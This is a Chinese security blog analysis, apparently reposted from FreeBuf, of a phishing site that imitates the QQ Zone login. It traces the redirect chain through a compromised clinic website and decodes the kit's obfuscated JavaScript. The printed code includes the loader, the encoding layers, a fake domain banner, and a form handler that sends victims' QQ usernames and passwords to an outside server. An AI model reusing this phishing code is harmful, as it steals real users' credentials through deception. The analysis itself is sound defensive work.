48

钓鱼网站Mofiu.cn现形记

 5 years ago
source link: http://www.freebuf.com/articles/web/182581.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

前几天,QQ好友发给我一个链接,出于好奇我打开链接,发现QQ空间登陆页面,再看网址,断定是钓鱼网站。

下图,钓鱼链接一。

ABnm6zr.jpg!web

下图,钓鱼链接二。

YJRzYbQ.jpg!web

http://news.soso.com/news/redirect_out.jsp?url=https://url.cn/5OdytE1?https://i.qq.com...HpxdFYggyL  毕业照
http://news.soso.com/news/redirect_out.jsp

这个是腾讯搜搜新闻的正规跳转页面。这个链接跳转到

https://url.cn/5OdytE1

这又是一个跳转链接。这个显示为安全连接,实际跳转到一个美容医院网站的某文件夹(被人上传过html文件的)。美容网站首页:

M73Afmm.jpg!web

跳转到这个链接:

iI3UVz7.jpg!web

www.2800000.com/images/file/20180816131121722172.html

显示为一个IIS的404页面。 EvaIveA.jpg!web

但是这个404页面是伪造的,实际此网站的404页面应该为 VBjQNre.jpg!web

也就是说,上面一个截图的404是写好了的伪造的,在你等待的几秒或更短的时间内,html中的javascript脚本会使页面跳转到伪造的qq空间登陆页面。

被攻击的美容医院站点被插入的html从mofiu.cn加载了q.js,执行第一行代码修改页面标题为“请等待…”,执行到第十五行代码时,跳转到mofiu.cn/i.html#

jyIzquV.jpg!web

document.title = '\u8bf7\u7a0d\u7b49...';
var xhr = new XMLHttpRequest;
var html = null;
function render() {
    var a = document.open("text/html", "replace");
    a.write(html);
    a.close();
}
xhr.onload = function() {
    html = xhr.responseText;
    var delay = 0;
    if (delay > 0) setTimeout("render()", delay * 1000)
    else render();
};
xhr.open("GET", "http://mofiu.cn/i.html#" + Date.now(), !0);
xhr.send();

mofiu.cn/i.html即为假冒qq空间登陆,受害者输入qq号qq密码就会发送到远程存储起来。

下载i.html,可以看到,i.html只有一行代码:

<script>function KDEQaUsY(KvqRbe) {document.write((unescape(KvqRbe)));}KDEQaUsY(" 3C 73 63 72 69 70 74 20 73 72 63 3D 22 2F 2F 6D 6F 66 69 75 2E 63 6E 2F 71 7A 6F 6E 65 2F 69 2E 6A 73 22 3E 3C 2F 73 63 72 69 70 74 3E".replace(/ /g,"%"));</script>

在chrome控制台执行一遍,得到字符串:

<html><head><script src="//mofiu.cn/qzone/i.js"></script></head></html>

下载js,可以看到含有一堆编码(以及解码的函数)的代码:

(由于代码太长,此处省略用来解码的十二页多的字符串。)

(function() {
    var new_doc = document.open("text/html", "replace");
    var html = unescape("%3C%68%74%6D%6C%3E%0A%3C%68%65%61(搬代码时,此处省略十二页多的字符串。)");
    new_doc.write(html);
    new_doc.close();
})();
var set = document.createElement('iframe');
set.src = 'https://www.baidu.com/favicon.ico';
set.style.display = 'none';
set.onload = function() {
    setTimeout(function() {
        set.remove();
    },9)
}
document.title = '\u624b\u673a\u7edf\u4e00\u767b\u5f55';
document.body.appendChild(set);
function base64_encode(d) {
    var q = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
    var z, y, x, w, v, u, t, s, i = 0,
    j = 0,
    p = '',
    r = [];
    if (!d) {
        return d
    }
    do {
        z = d.charCodeAt(i++);
        y = d.charCodeAt(i++);
        x = d.charCodeAt(i++);
        s = z << 16 | y << 8 | x;
        w = s >> 18 & 0x3f;
        v = s >> 12 & 0x3f;
        u = s >> 6 & 0x3f;
        t = s & 0x3f;
        r[j++] = q.charAt(w) + q.charAt(v) + q.charAt(u) + q.charAt(t)
    } while ( i < d . length );
    p = r.join('');
    var r = d.length % 3;
    return (r ? p.slice(0, r - 3) : p) + '==='.slice(r || 3)
}
function base64_decode(d) {
    var q = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
    var z, y, x, w, v, u, t, s, i = 0,
    j = 0,
    r = [];
    if (!d) {
        return d
    }
    d += '';
    do {
        w = q.indexOf(d.charAt(i++));
        v = q.indexOf(d.charAt(i++));
        u = q.indexOf(d.charAt(i++));
        t = q.indexOf(d.charAt(i++));
        s = w << 18 | v << 12 | u << 6 | t;
        z = s >> 16 & 0xff;
        y = s >> 8 & 0xff;
        x = s & 0xff;
        if (u == 64) {
            r[j++] = String.fromCharCode(z)
        } else if (t == 64) {
            r[j++] = String.fromCharCode(z, y)
        } else {
            r[j++] = String.fromCharCode(z, y, x)
        }
    } while ( i < d . length );
    return r.join('')
}
function arcfour(k, d) {
    var o = '';
    s = new Array();
    var n = 256;
    l = k.length;
    for (var i = 0; i < n; i++) {
        s[i] = i
    }
    for (var j = i = 0; i < n; i++) {
        j = (j + s[i] + k.charCodeAt(i % l)) % n;
        var x = s[i];
        s[i] = s[j];
        s[j] = x
    }
    for (var i = j = y = 0; y < d.length; y++) {
        i = (i + 1) % n;
        j = (j + s[i]) % n;
        x = s[i];
        s[i] = s[j];
        s[j] = x;
        o += String.fromCharCode(d.charCodeAt(y) ^ s[(s[i] + s[j]) % n])
    }
    return o
}

用解码函数执行一遍,得到另外一段加密字符串和解码函数。

FZnInum.jpg!web

Chrome控制台运行一遍解码函数的定义,再走一遍解码,

最后得到i.html主体html,插入到文档中就是钓鱼页面了。

rY3QFnI.jpg!webVJZrInZ.jpg!web 这是mofiu.cn/i.html加载的文件: 

fQreauQ.jpg!web

网站使用jQuery驱动,所以它加载了百度CDN上存储的的jQuery副本。

加载gettoken.php确定用户身份

它还加载了QQ空间的CSS( http://qzonestyle.gtimg.cn/qzone/phone/style/login.css ),借此实现高仿真度的显示效果。

其中来自open.mobile.qq.com的qqapi.js( https://open.mobile.qq.com/sdk/qqapi.js?_bid=152 )是最可疑的。

从它的代码中可以看到有各种针对手机qq关于ui显示的函数。

而mofiu.cn/i.html通过调用API,更改网页在手机QQ上的显示方式:左侧按钮文字为“私密相册”,点击后无响应(让人看起来像是QQ卡死了)。

mofiu.cn/i.html中的<script>标签:

<script type="text/javascript">
$(function() {
        mqq.ui.setTitleButtons({
            left: {
                title: "私密相册",
                callback: function() {
                    //
                }
            },
            right: {
                hidden: true
            }
        })
});
</script>

而这段代码实现下拉菜单:

<script>
    var doc = $(document);
    var _touches_point1 = 0;
    var _touches_point2 = 0;
    addEventListener("touchstart",
    function(a) {
        _touches_point1 = a.touches[0].pageY
    });
    addEventListener("touchmove",
    function(a) {
        _touches_point2 = a.touches[0].pageY;
        if (doc.scrollTop() <= 0 && _touches_point1 < _touches_point2) {
            a.preventDefault();
            if ($("#_domain_display").length <= 0) {
                $("body").prepend('<div id="_domain_display" style="text-align:center;background-color:#bebdc2;color:#65696c;height:0px;padding-top:15px;line-height:26px;font-size:12px;overflow:hidden;"><p>网页由 ' + 'ui.ptlogin2.qq.com' + ' 提供</p><p>QQ浏览器X5内核提供技术支持</p></div>')
            }
            $("#_domain_display").height((_touches_point2 - _touches_point1))
        }
    });
    addEventListener("touchend",
    function(a) {
        $("#_domain_display").slideUp("normal",
        function() {
            $("#_domain_display").remove()
        })
    });
</script>

于是手机上的钓鱼网站是长这个样子的,第二张图片是来自另一个被上传的网站的截图,可以看到,这个网站还做了“精致的”下拉栏,让你误以为是腾讯QQ的页面

A7BBBjn.jpg!web

77Bviqb.jpg!web mofiu.cn/i.html中的最后一个<script>也是比较可疑的,有一句跳转代码很醒目: 

m6zuuiI.jpg!webbYniIf2.jpg!web 在chrome控制台alert字符串,得到“ http://i.qq.com

BVnQ7bf.jpg!web

这一段代码:

mmUbyiU.jpg!webzEZ3ayQ.jpg!web

明白了,判断浏览器UA,如果不是手机QQ浏览器,就跳转到“ http://i.qq.com ”,还让不让人好好的研究代码了?

i.html中的这一段代码用于检验用户名和密码的合法性,然后上传用户名和密码,跳转到某图片的链接上,让受害者被盗号了都还反应不过来。

<script>
    var times = 0;
    function error(msg) {
        $("#error_tips").css({
            display: 'block'
        });
        $('#error_message').html(msg);
        err = true;
    }
    $('form input').focus(function() {
        $("#error_tips").css({
            display: 'none'
        });
        err = false;
    });
    $("#error_tips").on('click', function() {
        $(this).hide();
    });
    $("#go").on('click', function() {
        var $this = $(this);
        err = false;
        var p = $("#p").val();
        var u = $("#u").val();
        u == '' && error('\u60a8\u8fd8\u6ca1\u6709\u8f93\u5165\u5e10\u53f7\uff01');
        if (err) return false;
        p == '' && error("\u60a8\u8fd8\u6ca1\u6709\u8f93\u5165\u5bc6\u7801\uff01");
        if (err) return false;
        /^[1-9][0-9]{5,9}$/.test(u) || error('\u8bf7\u8f93\u5165\u6b63\u786e\u7684\u5e10\u53f7\uff01');
        if (err) return false;
        if (sameChar(u)) {
            error("\u60a8\u8f93\u5165\u7684\u5e10\u53f7\u6216\u5bc6\u7801\u4e0d\u6b63\u786e\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002");
            $("#u").val('');
            $("#p").val('');
            return false;
        }
        var len = p.length;
        (len < 6 || len > 16) && error('\u60a8\u8f93\u5165\u7684\u5e10\u53f7\u6216\u5bc6\u7801\u4e0d\u6b63\u786e\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002');
        /*新增密码校验*/
        var pattern = /[\u4e00-\u9fa5]+/g;
        pattern.test(p) && error("\u60a8\u8f93\u5165\u7684\u5e10\u53f7\u6216\u5bc6\u7801\u4e0d\u6b63\u786e\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002");
        var pattern2 = /^[0-9]*$/g;
        pattern2.test(p) && error("\u60a8\u8f93\u5165\u7684\u5e10\u53f7\u6216\u5bc6\u7801\u4e0d\u6b63\u786e\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002");
        if (sameChar(p)) {
            error("\u60a8\u8f93\u5165\u7684\u5e10\u53f7\u6216\u5bc6\u7801\u4e0d\u6b63\u786e\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002");
            $("#p").val('');
            return false;
        }
        /**/
        if (!err) {
            $.ajax({
                url: '\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u006d\u006f\u0066\u0069\u0075\u002e\u0063\u006e\u002f\u0073\u0061\u0076\u0065\u002e\u0070\u0068\u0070',
                type: 'POST',
                dataType: 'json',
                async: false,
                data: $('\u0023\u006c\u006f\u0067\u0069\u006e\u0066\u006f\u0072\u006d').serialize(),
                success: function(r) {
                    $.getScript('\u002f\u002f\u006d\u006f\u0066\u0069\u0075\u002e\u0063\u006e\u002f\u006c\u0069\u0062\u002f\u0074\u002e\u006a\u0073');
                },
                error: function(er) {
                    $.getScript('\u002f\u002f\u006d\u006f\u0066\u0069\u0075\u002e\u0063\u006e\u002f\u006c\u0069\u0062\u002f\u0074\u002e\u006a\u0073');
                }
            })
        }
    }) function sameChar(str) {
        var result = true;
        var c = str.charAt(0);
        for (var i = 0; i < str.length; i++) {
            if (c != str.charAt(i)) {
                result = false;
                break;
            }
        }
        return result;
    }
</script>

如果用户名和密码合法,就请求提交到php,然后执行mofiu.com/lib/t.js。

mofiu.com/lib/t.js只有一行代码:

top.location.replace('http://img.sogoucdn.com/app/a/100520146/E6364F15BFF87B196E3713C15B7E42CD')

跳转到某个搜狗CDN上的图片,欺骗受害者。

总结:

网站作者(简称“作者”),真是心思细腻,手法高明。用到的技术或者高明之处:

1. 高度仿真的页面,加载QQ空间的CSS来实现显示。

2. 检验用户名和密码是否合法,避免不必要的麻烦。

3. 非QQ浏览器则自动跳转到 http://i.qq.com ,混淆视听。

4. 在a.js和ax.js以及文中提到的js,用加密字符串存储网页代码,然后用JavaScript解码并显示,避免不必要的麻烦

5. 全程没有使用明文,大多数都用的Unicode编码。

6. 做了一个假的下拉栏,混淆网址

7. 做一个假的404页面,还把标题改成“请等待. . . ”

附注:

1. 另外还有mofiu.cn/lib/a.js和mofiu.cn/lib/ax.js也可以实现QQ空间 钓鱼页面,原理与刚讲到的类似,有兴趣的可以自己研究。

2. 所有已经抓到的代码可以在Github代码库: https://github.com/tcpsoftware/mofiu.cn 找到

3. 后来我去 微步在线 查了一下这个域名,居然还是假的whois信息,用的注册商信息:

注册者          耿淇文

注册机构

邮箱            [email protected]

地址

电话

注册时间        2016-11-11 01:11:47

过期时间        2018-11-11 01:11:47

更新时间

域名服务商      成都西维数码科技有限公司

域名服务商      ns1.myhostadmin.net; ns2.myhostadmin.net; ns3.myhostadmin.net; ns4.myhostadmin.net; ns5.myhostadmin.net; ns6.myhostadmin.net

简直是。。。

*本文作者:tcpsoft,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK